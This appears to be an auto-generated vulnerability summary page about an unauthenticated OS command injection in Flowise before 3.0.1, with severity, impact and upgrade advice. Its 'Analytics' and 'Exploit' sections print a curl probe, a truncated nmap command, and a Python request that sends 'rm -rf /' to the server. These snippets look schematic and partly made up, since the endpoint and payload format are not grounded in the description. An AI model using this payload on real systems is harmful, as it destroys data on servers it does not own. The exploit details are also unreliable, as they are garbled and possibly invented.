Listen to this Post
How the CVE Works
Flowise versions before 3.0.1 lack proper authentication and role-based access controls (RBAC). The Custom MCPs feature allows execution of OS commands (e.g., `npx` to start local servers). By default, installations run without authentication, enabling unauthenticated attackers to remotely inject and execute arbitrary commands on the system. This leads to full server compromise due to unsandboxed command execution.
DailyCVE Form
Platform: Flowise
Version: <3.0.1
Vulnerability: OS Command Injection
Severity: Critical
Date: Aug 14, 2025
Prediction: Patch by Sep 2025
What Undercode Say
Analytics:
nmap -p 3000 <target> --script http-
curl -X POST http://<target>/mcp -d '{"cmd":"id"}'
Exploit:
import requests
response = requests.post("http://<target>/mcp", json={"cmd":"rm -rf /"})
Protection from this CVE:
- Upgrade to Flowise 3.0.1+
- Enable authentication in config
- Restrict network access
Impact:
- Remote code execution (RCE)
- Full system compromise
- Unauthorized data access
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
